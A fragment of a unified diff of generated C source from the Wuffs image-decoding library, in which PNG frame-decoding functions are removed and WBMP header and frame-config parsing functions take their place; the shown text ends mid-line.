+@@ -56801,17 +70833,19 @@ wuffs_png__decoder__decode_frame_config( + return status; + } + +-// -------- func png.decoder.do_decode_frame_config ++// -------- func wbmp.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_wbmp__decoder__do_decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_checksum_have = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_p = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -56824,392 +70858,88 @@ wuffs_png__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_do_decode_image_config.v_i; ++ v_p = self->private_data.s_do_decode_image_config.v_p; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { ++ if (self->private_impl.f_call_sequence != 0u) { + status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; +- } else if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_png__decoder__skip_frame(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 48u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; + } +- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { +- self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; +- self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; +- self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; +- self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; +- self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; +- self->private_impl.f_frame_duration = self->private_impl.f_first_duration; +- self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; +- self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; +- } else { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- self->private_impl.f_chunk_length = t_0; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_chunk_type = t_1; +- } +- if (self->private_impl.f_chunk_type == 1145980233u) { +- if (self->private_impl.f_chunk_length != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- v_checksum_have = t_2; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_png__decoder__decode_fctl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_data.s_do_decode_frame_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; +- break; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 48u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- self->private_data.s_do_decode_frame_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; ++ v_i = 0u; ++ while (v_i < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; +- self->private_impl.f_chunk_length = 0u; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- self->private_impl.f_frame_rect_x0, +- self->private_impl.f_frame_rect_y0, +- self->private_impl.f_frame_rect_x1, +- self->private_impl.f_frame_rect_y1), +- ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), +- ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_frame_disposal, +- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), +- self->private_impl.f_frame_overwrite_instead_of_blend, +- 0u); +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func png.decoder.skip_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__skip_frame( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_seq_num = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.f_chunk_type_array[0u] = 0u; +- self->private_impl.f_chunk_type_array[1u] = 0u; +- self->private_impl.f_chunk_type_array[2u] = 0u; +- self->private_impl.f_chunk_type_array[3u] = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); ++ goto exit; + } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- if (self->private_impl.f_chunk_type_array[0u] == 102u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 68u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_type_array[0u] = 102u; +- self->private_impl.f_chunk_type_array[1u] = 100u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- iop_a_src += 8u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 2u) { ++ v_p = 0u; ++ while (true) { + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_skip_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_skip_frame[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_seq_num = t_0; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ v_p |= ((uint32_t)(((uint8_t)(v_c8 & 127u)))); ++ if (((uint8_t)(v_c8 >> 7u)) == 0u) { ++ break; ++ } else if (v_p > 131071u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); + goto exit; + } +- self->private_impl.f_next_animation_seq_num += 1u; +- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; +- continue; +- } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { +- break; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ v_p <<= 7u; + } +- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (v_i == 0u) { ++ self->private_impl.f_width = v_p; ++ } else { ++ self->private_impl.f_height = v_p; + } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; ++ v_i += 1u; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ 2198077448u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ true); + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); + self->private_impl.f_call_sequence = 32u; + ++ goto ok; + ok: +- self->private_impl.p_skip_frame[0] = 0; ++ self->private_impl.p_do_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_i = v_i; ++ self->private_data.s_do_decode_image_config.v_p = v_p; + + goto exit; + exit: +@@ -57220,17 +70950,14 @@ wuffs_png__decoder__skip_frame( + return status; + } + +-// -------- func png.decoder.decode_frame ++// -------- func wbmp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_wbmp__decoder__decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -57240,12 +70967,12 @@ wuffs_png__decoder__decode_frame( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_dst || !a_src) { ++ if (!a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -57254,22 +70981,17 @@ wuffs_png__decoder__decode_frame( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -57277,14 +70999,14 @@ wuffs_png__decoder__decode_frame( + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; + exit: +@@ -57294,24 +71016,16 @@ wuffs_png__decoder__decode_frame( + return status; + } + +-// -------- func png.decoder.do_decode_frame ++// -------- func wbmp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_wbmp__decoder__do_decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_seq_num = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_pass_width = 0; +- uint32_t v_pass_height = 0; +- + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -57323,210 +71037,62 @@ wuffs_png__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else if (self->private_impl.f_call_sequence != 64u) { ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); ++ status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 68u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- iop_a_src += 8u; +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- break; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- self->private_impl.f_chunk_type_array[0u] = 102u; +- self->private_impl.f_chunk_type_array[1u] = 100u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- iop_a_src += 8u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_seq_num = t_0; +- } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; +- } +- self->private_impl.f_next_animation_seq_num += 1u; +- break; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_data.s_do_decode_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; +- } +- if (self->private_impl.f_zlib_is_dirty) { +- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, +- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- if (self->private_impl.f_ignore_checksum) { +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); +- } +- } +- self->private_impl.f_zlib_is_dirty = true; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); + goto exit; + } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); + goto ok; + } +- self->private_impl.f_workbuf_hist_pos_base = 0u; +- while (true) { +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); +- v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); +- } else { +- v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - 